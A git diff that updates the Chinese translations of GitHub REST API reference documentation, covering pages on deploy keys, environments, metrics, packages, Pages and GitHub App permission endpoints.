+部署密钥可以使用以下 API 端点进行设置，也可以使用 GitHub 进行设置。 要了解如何在 GitHub 中设置部署密钥，请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys)”。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Environments
+## 环境
 
-The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)."
+环境 API 允许您创建、配置和删除环境。 有关环境的更多信息，请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 要管理环境密码，请参阅“[密码](/rest/reference/actions#secrets)”。
 
 {% data reusables.gated-features.environments %}
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'environments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
-{% endif %}
\ No newline at end of file
+{% endif %}
diff --git a/translations/zh-CN/content/rest/reference/index.md b/translations/zh-CN/content/rest/reference/index.md
index eb8dc90939..5e0f47957c 100644
--- a/translations/zh-CN/content/rest/reference/index.md
+++ b/translations/zh-CN/content/rest/reference/index.md
@@ -1,7 +1,7 @@
 ---
-title: Reference
-shortTitle: Reference
-intro: View reference documentation to learn about the resources available in the GitHub REST API.
+title: 参考
+shortTitle: 参考
+intro: 查看参考文档以了解 GitHub REST API 中可用的资源。
 versions:
   fpt: '*'
   ghes: '*'
@@ -19,31 +19,32 @@ children:
   - /codes-of-conduct
   - /code-scanning
   - /codespaces
-  - /commits
   - /collaborators
+  - /commits
+  - /dependabot
   - /deployments
   - /emojis
   - /enterprise-admin
   - /gists
   - /git
-  - /pages
   - /gitignore
   - /interactions
   - /issues
   - /licenses
   - /markdown
   - /meta
+  - /metrics
   - /migrations
   - /oauth-authorizations
   - /orgs
   - /packages
+  - /pages
   - /projects
   - /pulls
   - /rate-limit
   - /reactions
   - /releases
   - /repos
-  - /repository-metrics
   - /scim
   - /search
   - /secret-scanning
diff --git a/translations/zh-CN/content/rest/reference/metrics.md b/translations/zh-CN/content/rest/reference/metrics.md
new file mode 100644
index 0000000000..0531cdb330
--- /dev/null
+++ b/translations/zh-CN/content/rest/reference/metrics.md
@@ -0,0 +1,60 @@
+---
+title: Metrics
+intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## 社区
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% endif %}
+
+## 统计
+
+仓库统计 API 允许您获取 {% data variables.product.product_name %} 用于可视化不同类型仓库活动的数据。
+
+### 谈一谈缓存
+
+计算仓库统计信息是一项昂贵的操作，所以我们尽可能返回缓存的数据。  如果您查询仓库的统计信息时，数据尚未缓存，您将会收到 `202` 响应；同时触发后台作业以开始编译这些统计信息。 稍等片刻，待作业完成，然后再次提交请求。 如果作业已完成，该请求将返回 `200` 响应，响应正文中包含统计信息。
+
+仓库统计信息由仓库默认分支的 SHA 缓存；推送到默认分支将重置统计信息缓存。
+
+### 统计排除某些类型的提交
+
+API 公开的统计信息与[各种仓库图](/github/visualizing-repository-data-with-graphs/about-repository-graphs)显示的统计信息相匹配。
+
+总结：
+- 所有统计信息都排除合并提交。
+- 参与者统计信息还排除空提交。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+{% ifversion fpt or ghec %}
+## 流量
+
+对于您具有推送权限的仓库，流量 API 提供对仓库图中所示信息的访问权限。 更多信息请参阅“<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">查看仓库的流量</a>”。
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+{% endif %}
diff --git a/translations/zh-CN/content/rest/reference/packages.md b/translations/zh-CN/content/rest/reference/packages.md
index 8af15e78f9..9f00278744 100644
--- a/translations/zh-CN/content/rest/reference/packages.md
+++ b/translations/zh-CN/content/rest/reference/packages.md
@@ -1,6 +1,6 @@
 ---
 title: Packages
-intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.'
+intro: '通过 {% data variables.product.prodname_registry %} API，您可以管理 {% data variables.product.prodname_dotcom %} 仓库和组织的软件包。'
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
@@ -10,16 +10,16 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+{% data variables.product.prodname_registry %} API 允许您使用 REST API 管理包。 要了解有关恢复或删除包的更多信息，请参阅“[恢复和删除包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。
 
-To use this API, you must authenticate using a personal access token. 
-  - To access package metadata, your token must include the `read:packages` scope.
-  - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes.
-  - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes.
+要使用此 API ，您必须使用个人访问令牌进行验证。
+  - 要访问包元数据，您的令牌必须包括 `read:packages` 范围。
+  - 要删除包和包版本，您的令牌必须包括 `read:packages` 和 `delete:packages` 范围。
+  - 要恢复包和包版本，您的令牌必须包括 `read:packages` 和 `write:packages` 范围。
 
-If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+如果您的 `package_type` 是 `npm`、`maven`、`rubygems` 或 `nuget`，则您的令牌必须还包括 `repo` 范围，因为您的包从 {% data variables.product.prodname_dotcom %} 仓库继承权限。 如果您的包位于 {% data variables.product.prodname_container_registry %}，则 `package_type` 是 `container`，且令牌不需要 `repo` 作用域便可访问或管理此 `package_type`。 `container` 包提供与仓库分开的粒度权限。 更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)”。
 
-If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your personal access token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+如果您想使用 {% data variables.product.prodname_registry %} API 访问已启用 SSO 的组织中的资源，则必须对个人访问令牌启用 SSO。 For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
diff --git a/translations/zh-CN/content/rest/reference/pages.md b/translations/zh-CN/content/rest/reference/pages.md
index 713ca428fc..5e58418b95 100644
--- a/translations/zh-CN/content/rest/reference/pages.md
+++ b/translations/zh-CN/content/rest/reference/pages.md
@@ -1,6 +1,6 @@
 ---
-title: Pages
-intro: 'The GitHub Pages API allows you to interact with GitHub Pages sites and build information.'
+title: 页面
+intro: The GitHub Pages API allows you to interact with GitHub Pages sites and build information.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,21 +12,21 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+{% data variables.product.prodname_pages %} API 可检索关于您的 {% data variables.product.prodname_pages %} 配置以及构建状态的信息。 只有经过验证的所有者才能访问有关网站和构建的信息{% ifversion not ghae %}，即使网站是公开的也一样{% endif %}。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)”。
 
-In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of:
-* `null`: The site has yet to be built.
-* `queued`: The build has been requested but not yet begun.
-* `building`:The build is in progress.
-* `built`: The site has been built.
-* `errored`: Indicates an error occurred during the build.
+在其响应中包含 `status` 键的 {% data variables.product.prodname_pages %} API 端点中，其值可能是以下值之一：
+* `null`：站点尚未构建。
+* `queued`：已请求构建，但尚未开始。
+* `building`：正在构建中。
+* `built`：站点已构建。
+* `errored`：表示构建过程中发生错误。
 
-In {% data variables.product.prodname_pages %} API endpoints that  return GitHub Pages site information, the JSON responses include these fields:
-* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`.
-* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes:
-   - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_.
-   - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`.
+在返回 GitHub Pages 站点信息的 {% data variables.product.prodname_pages %} API 端点中，JSON 响应包括以下字段：
+* `html_url`：所渲染的 Pages 站点的绝对 URL（包括模式）。 例如，`https://username.github.io`。
+* `source`：包含所渲染 Pages 站点的源分支和目录的对象。 这包括：
+   - `branch`：用于发布[站点源文件](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)的仓库分支。 例如，_main_ 或 _gh-pages_。
+   - `path`：提供站点发布内容的仓库目录。 可能是 `/` 或 `/docs`。
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md b/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md
index a067fef447..c046cc50c1 100644
--- a/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md
+++ b/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Permissions required for GitHub Apps
-intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.'
+title: GitHub 应用程序所需的权限
+intro: '您可以找到每个 {% data variables.product.prodname_github_app %} 兼容端点所需的权限。'
 redirect_from:
   - /v3/apps/permissions
 versions:
@@ -11,16 +11,16 @@ versions:
 topics:
   - API
 miniTocMaxHeadingLevel: 3
-shortTitle: GitHub App permissions
+shortTitle: GitHub 应用程序权限
 ---
 
-### About {% data variables.product.prodname_github_app %} permissions
+### 关于 {% data variables.product.prodname_github_app %} 权限
 
-{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)."
+{% data variables.product.prodname_github_apps %} 是用一组权限创建的。 权限定义了 {% data variables.product.prodname_github_app %} 可以通过 API 访问哪些资源。 更多信息请参阅“[设置 GitHub 的权限](/apps/building-github-apps/setting-permissions-for-github-apps/)”。
 
-### Metadata permissions
+### 元数据权限
 
-GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information.
+GitHub 应用程序默认具有 `Read-only` 元数据权限。 元数据权限允许访问带有各种资源元数据的只读端点集合。 这些端点不会泄露敏感的私有仓库信息。
 
 {% data reusables.apps.metadata-permissions %}
 
@@ -72,17 +72,17 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user)
 - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
 
-_Collaborators_
+_协作者_
 - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators)
 - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
 
-_Commit comments_
+_提交注释_
 - [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository)
 - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment)
 - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
 - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments)
 
-_Events_
+_事件_
 - [`GET /events`](/rest/reference/activity#list-public-events)
 - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
 - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events)
@@ -95,16 +95,16 @@ _Git_
 - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
 - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template)
 
-_Keys_
+_键_
 - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user)
 
-_Organization members_
+_组织成员_
 - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members)
 - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user)
 - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members)
 - [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user)
 
-_Search_
+_搜索_
 - [`GET /search/code`](/rest/reference/search#search-code)
 - [`GET /search/commits`](/rest/reference/search#search-commits)
 - [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests)
@@ -114,7 +114,7 @@ _Search_
 - [`GET /search/users`](/rest/reference/search#search-users)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "actions"
+### 有关“操作”的权限
 
 - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read)
@@ -138,7 +138,7 @@ _Search_
 - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read)
 {% endif %}
 
-### Permission on "administration"
+### 有关“管理”的权限
 
 - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write)
 - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write)
@@ -189,7 +189,7 @@ _Search_
 - [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#accept-a-repository-invitation) (:write)
 - [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#decline-a-repository-invitation) (:write)
 
-_Branches_
+_分支_
 - [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#get-branch-protection) (:read)
 - [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#update-branch-protection) (:write)
 - [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#delete-branch-protection) (:write)
@@ -223,28 +223,28 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Collaborators_
+_协作者_
 - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (:write)
 - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (:write)
 
-_Invitations_
+_邀请_
 - [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (:read)
 - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (:write)
 - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (:write)
 
-_Keys_
+_键_
 - [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (:read)
 - [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (:write)
 - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (:read)
 - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (:write)
 
-_Teams_
+_团队_
 - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read)
 - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write)
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 
 {% ifversion fpt or ghec %}
-_Traffic_
+_流量_
 - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (:read)
 - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (:read)
@@ -252,7 +252,7 @@ _Traffic_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Permission on "blocking"
+### 有关“阻止”的权限
 
 - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read)
 - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read)
@@ -260,7 +260,7 @@ _Traffic_
 - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write)
 {% endif %}
 
-### Permission on "checks"
+### 有关“检查”的权限
 
 - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write)
 - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read)
@@ -274,7 +274,7 @@ _Traffic_
 - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read)
 
-### Permission on "contents"
+### 有关“内容”的权限
 
 - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read)
 {% ifversion fpt -%}
@@ -360,7 +360,7 @@ _Traffic_
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read)
 
-_Branches_
+_分支_
 - [`GET /repos/:owner/:repo/branches`](/rest/reference/branches#list-branches) (:read)
 - [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/branches#get-a-branch) (:read)
 - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write)
@@ -371,7 +371,7 @@ _Branches_
 - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Commit comments_
+_提交注释_
 - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (:write)
 - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (:write)
 - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read)
@@ -393,7 +393,7 @@ _Git_
 - [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (:read)
 
 {% ifversion fpt or ghec %}
-_Import_
+_导入_
 - [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (:read)
 - [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (:write)
 - [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (:write)
@@ -404,7 +404,7 @@ _Import_
 - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write)
 {% endif %}
 
-_Reactions_
+_反应_
 
 {% ifversion fpt or ghes or ghae -%}
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write)
@@ -420,7 +420,7 @@ _Reactions_
 - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write)
 {% endif %}
 
-_Releases_
+_版本发布_
 - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read)
 - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write)
 - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read)
@@ -433,7 +433,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read)
 - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read)
 
-### Permission on "deployments"
+### 有关“部署”的权限
 
 - [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (:read)
 - [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (:write)
@@ -446,7 +446,7 @@ _Releases_
 - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (:read)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "emails"
+### 有关“电子邮件”的权限
 
 {% ifversion fpt -%}
 - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write)
@@ -457,7 +457,7 @@ _Releases_
 - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read)
 {% endif %}
 
-### Permission on "followers"
+### 有关“关注者”的权限
 
 - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read)
 - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read)
@@ -465,7 +465,7 @@ _Releases_
 - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write)
 - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write)
 
-### Permission on "gpg keys"
+### 有关“gpg 密钥”的权限
 
 - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read)
 - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write)
@@ -473,16 +473,16 @@ _Releases_
 - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "interaction limits"
+### “交互限制”的权限
 
 - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read)
 - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write)
 - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write)
 {% endif %}
 
-### Permission on "issues"
+### 有关“议题”的权限
 
-Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues.
+议题和拉取请求密切相关。 更多信息请参阅"[列出分配给经身份验证用户的议题](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)“。 如果您的 GitHub 应用程序拥有处理议题的权限但没有处理拉取请求的权限，则这些端点将仅限于处理议题。 既返回议题又返回拉取请求的端点将被过滤。 允许对议题和拉取请求进行操作的端点将被限制为仅处理议题。
 
 - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read)
 - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write)
@@ -502,17 +502,17 @@ Issues and pull requests are closely related. For more information, see "[List i
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 
-_Assignees_
+_受理人_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_事件_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 
-_Labels_
+_标签_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -524,7 +524,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_里程碑_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -532,7 +532,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_反应_
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read)
@@ -549,15 +549,15 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-### Permission on "keys"
+### 有关“键”的权限
 
-_Keys_
+_键_
 - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read)
 - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write)
 - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read)
 - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write)
 
-### Permission on "members"
+### 有关“成员”的权限
 
 {% ifversion fpt -%}
 - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write)
@@ -592,14 +592,14 @@ _Keys_
 {% endif %}
 
 {% ifversion fpt or ghec %}
-_Invitations_
+_邀请_
 - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read)
 - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write)
 - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read)
 - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read)
 {% endif %}
 
-_Organization members_
+_组织成员_
 - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write)
 - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read)
 - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write)
@@ -610,13 +610,13 @@ _Organization members_
 - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read)
